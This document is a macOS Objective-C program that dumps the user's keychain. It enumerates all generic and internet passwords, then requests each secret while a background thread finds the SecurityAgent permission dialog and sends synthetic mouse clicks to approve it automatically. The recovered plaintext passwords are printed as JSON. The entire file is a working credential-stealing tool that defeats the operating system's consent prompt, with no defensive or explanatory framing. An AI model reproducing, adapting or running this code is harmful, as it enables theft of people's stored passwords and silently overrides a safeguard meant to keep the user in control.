// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump

#import <Cocoa/Cocoa.h>
#import <CoreFoundation/CoreFoundation.h>
#import <Security/Security.h>
#include <ApplicationServices/ApplicationServices.h>
#include <unistd.h>
#include <pthread.h>

#define TIMEOUT 3

void click(float x, float y) {

  CGEventRef move1 = CGEventCreateMouseEvent(
    NULL, kCGEventMouseMoved,
    CGPointMake(x, y),
    kCGMouseButtonLeft // ignored
  );
  CGEventRef click1_down = CGEventCreateMouseEvent(
    NULL, kCGEventLeftMouseDown,
    CGPointMake(x, y),
    kCGMouseButtonLeft
  );
  CGEventRef click1_up = CGEventCreateMouseEvent(
    NULL, kCGEventLeftMouseUp,
    CGPointMake(x, y),
    kCGMouseButtonLeft
  );

  CGEventPost(kCGHIDEventTap, move1);
  CGEventPost(kCGHIDEventTap, click1_down);
  CGEventPost(kCGHIDEventTap, click1_up);

  // Release the events
  CFRelease(move1);
  CFRelease(click1_up);
  CFRelease(click1_down);
}

void parse_windows(int offx, int offy) {
  CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID);
  for (NSMutableDictionary* entry in (NSArray*)windowList)
  {
      CGRect rect;
      NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName];
      if ([ownerName isEqualToString: @"SecurityAgent"]) {
        CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds];
        CGRectMakeWithDictionaryRepresentation(bounds, &rect);
        float spotx = rect.origin.x + 385 + offx;
        float spoty = rect.origin.y + rect.size.height - 25 + offy;
        click(spotx, spoty);
      }

  }
  CFRelease(windowList);
}

void poll_ui() {
  while(1) {
    sleep(0.0001);
    parse_windows(0, 0);
  }
}

id tQuery = NULL;
CFTypeRef result = NULL;

void prompt() {
  SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result);
}

void dump(NSArray *refs) {
  NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs
                                                   options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string
                                                     error: NULL];
  [jsonData writeToFile: @"/dev/stdout" atomically: NO];
}

int main() {
  pthread_t thread_prompt, thread_click;
  NSArray *secItemClasses = [NSArray arrayWithObjects:
                               (__bridge id)kSecClassGenericPassword,
                               (__bridge id)kSecClassInternetPassword,
                               nil];
  NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
                                (__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit,
                               (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
                               (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
                                nil];
  NSMutableArray *refs = [NSMutableArray new];
  for (id secItemClass in secItemClasses) {
    [query setObject:secItemClass forKey:(__bridge id)kSecClass];

    CFTypeRef result1 = NULL;
    SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1);
    NSArray *data = (__bridge NSArray*)result1;
    if (data) {
      for (NSDictionary *item in data) {
        if (!item) continue;
        NSMutableDictionary *newItem = [NSMutableDictionary new];
        for (NSString* key in item) {
          [newItem setObject:[[item objectForKey: key] description] forKey: key];
        }
        [newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"];
        [refs addObject: newItem];
      }
      if (result1 != NULL) CFRelease(result1);
    }
  }

  NSMutableArray *all = [NSMutableArray new];
  for (id ref in refs) {
    tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys:
              (__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef,
              (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
               nil];
    for (id secItemClass in secItemClasses) {
      [tQuery setObject:secItemClass forKey:(__bridge id)kSecClass];

      result = NULL;
      pthread_create(&thread_click, NULL, (void*)poll_ui, NULL);
      pthread_create(&thread_prompt, NULL, (void*)prompt, NULL);

      time_t end = time(NULL) + TIMEOUT;
      int found = 0;
      while(time(NULL) < end) {
        if (result != NULL) {
          found = 1;
          break;
        }
        sleep(0.1);
      }

      pthread_cancel(thread_click);
      pthread_cancel(thread_prompt);

      [ref removeObjectForKey: @"v_Ref"];

      // we didnt find anything  in TIMEOUT seconds. this can happen if the keychain
      // is locked
      if (!found) {
        parse_windows(-80, 0); // click cancel
        dump(all); // get out now
        return 0;
      }

      NSString *pass = @"(null)";
      if (result && [result bytes]) {
        pass = [NSString stringWithUTF8String:[result bytes]];
        if (!pass) pass = @"(null)";
      } else {
        pass = @"(null)";
      }
      [ref setObject:pass forKey: @"Private"];
      [all addObject: ref];
    }
  }

  dump(all);
  return 0;
}
